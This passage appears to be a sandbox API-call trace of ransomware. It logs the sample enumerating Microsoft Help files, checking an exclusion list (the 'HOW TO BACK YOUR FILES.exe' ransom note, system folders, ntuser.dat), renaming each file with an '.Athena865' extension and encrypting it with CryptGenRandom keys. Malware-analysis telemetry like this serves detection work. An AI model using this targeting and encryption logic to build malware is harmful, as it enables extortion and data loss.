lstrlenW (lpString="MS.MSTORE.14.1033.hxn") returned 21 [0048.689] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn.Athena865") returned 61 [0048.689] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mstore.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.mstore.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.690] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.mstore.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.690] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=332) returned 1 [0048.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.690] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.691] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.691] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.691] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0x154 [0048.693] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000 [0048.694] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.694] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.694] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.695] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.695] CloseHandle (hObject=0x154) returned 1 [0048.695] CloseHandle (hObject=0x17c) returned 1 [0048.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.695] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.OIS.14.1033.hxn", cAlternateFileName="MSOIS1~1.HXN")) returned 1 [0048.695] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.695] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".") returned 1 [0048.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="..") returned 1 [0048.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="windows") returned -1 [0048.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="temp") returned -1 [0048.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="boot") returned 1 [0048.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="perflogs") returned -1 [0048.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.696] lstrlenW (lpString="MS.OIS.14.1033.hxn") returned 18 [0048.696] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.OIS.14.1033.hxn" | out: lpString1="MS.OIS.14.1033.hxn") returned="MS.OIS.14.1033.hxn" [0048.696] lstrlenW (lpString="MS.OIS.14.1033.hxn") returned 18 [0048.696] lstrlenW (lpString="Athena865") returned 9 [0048.696] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.696] lstrlenW (lpString=".dll") returned 4 [0048.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".dll") returned 1 [0048.696] lstrlenW (lpString=".lnk") returned 4 [0048.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".lnk") returned 1 [0048.696] lstrlenW (lpString=".ini") returned 4 [0048.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".ini") returned 1 [0048.696] lstrlenW (lpString=".sys") returned 4 [0048.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".sys") returned 1 [0048.696] lstrlenW (lpString="MS.OIS.14.1033.hxn") returned 18 [0048.696] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn.Athena865") returned 58 [0048.696] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.697] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.697] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=314) returned 1 [0048.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.697] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.698] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.698] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.698] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x440, lpName=0x0) returned 0x154 [0048.700] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x440) returned 0x100000 [0048.701] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.702] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.702] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.702] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.702] CloseHandle (hObject=0x154) returned 1 [0048.702] CloseHandle (hObject=0x17c) returned 1 [0048.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.703] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xc997810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc997810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e3ad0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.ONENOTE.14.1033.hxn", cAlternateFileName="MSONEN~1.HXN")) returned 1 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".") returned 1 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="..") returned 1 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="windows") returned -1 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="temp") returned -1 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="boot") returned 1 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="perflogs") returned -1 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.703] lstrlenW (lpString="MS.ONENOTE.14.1033.hxn") returned 22 [0048.703] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.ONENOTE.14.1033.hxn" | out: lpString1="MS.ONENOTE.14.1033.hxn") returned="MS.ONENOTE.14.1033.hxn" [0048.703] lstrlenW (lpString="MS.ONENOTE.14.1033.hxn") returned 22 [0048.703] lstrlenW (lpString="Athena865") returned 9 [0048.703] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.703] lstrlenW (lpString=".dll") returned 4 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".dll") returned 1 [0048.703] lstrlenW (lpString=".lnk") returned 4 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".lnk") returned 1 [0048.703] lstrlenW (lpString=".ini") returned 4 [0048.703] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".ini") returned 1 [0048.704] lstrlenW (lpString=".sys") returned 4 [0048.704] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".sys") returned 1 [0048.704] lstrlenW (lpString="MS.ONENOTE.14.1033.hxn") returned 22 [0048.704] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn.Athena865") returned 62 [0048.704] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.705] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.705] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=338) returned 1 [0048.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.705] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.706] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.706] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.706] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x154 [0048.708] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000 [0048.709] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.709] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.709] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.710] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.710] CloseHandle (hObject=0x154) returned 1 [0048.710] CloseHandle (hObject=0x17c) returned 1 [0048.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.711] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2689510, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.OUTLOOK.14.1033.hxn", cAlternateFileName="MSOUTL~1.HXN")) returned 1 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".") returned 1 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="..") returned 1 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="windows") returned -1 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="temp") returned -1 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="boot") returned 1 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="perflogs") returned -1 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.711] lstrlenW (lpString="MS.OUTLOOK.14.1033.hxn") returned 22 [0048.711] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.OUTLOOK.14.1033.hxn" | out: lpString1="MS.OUTLOOK.14.1033.hxn") returned="MS.OUTLOOK.14.1033.hxn" [0048.711] lstrlenW (lpString="MS.OUTLOOK.14.1033.hxn") returned 22 [0048.711] lstrlenW (lpString="Athena865") returned 9 [0048.711] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.711] lstrlenW (lpString=".dll") returned 4 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".dll") returned 1 [0048.711] lstrlenW (lpString=".lnk") returned 4 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".lnk") returned 1 [0048.711] lstrlenW (lpString=".ini") returned 4 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".ini") returned 1 [0048.711] lstrlenW (lpString=".sys") returned 4 [0048.711] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".sys") returned 1 [0048.711] lstrlenW (lpString="MS.OUTLOOK.14.1033.hxn") returned 22 [0048.711] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn.Athena865") returned 62 [0048.711] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.713] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.713] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=338) returned 1 [0048.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.713] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.714] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.714] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.714] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x154 [0048.716] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000 [0048.717] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.717] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.717] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.718] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.718] CloseHandle (hObject=0x154) returned 1 [0048.718] CloseHandle (hObject=0x17c) returned 1 [0048.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.718] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26af670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.OUTLOOK.DEV.14.1033.hxn", cAlternateFileName="MSOUTL~2.HXN")) returned 1 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".") returned 1 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="..") returned 1 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="windows") returned -1 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="temp") returned -1 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="boot") returned 1 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.719] 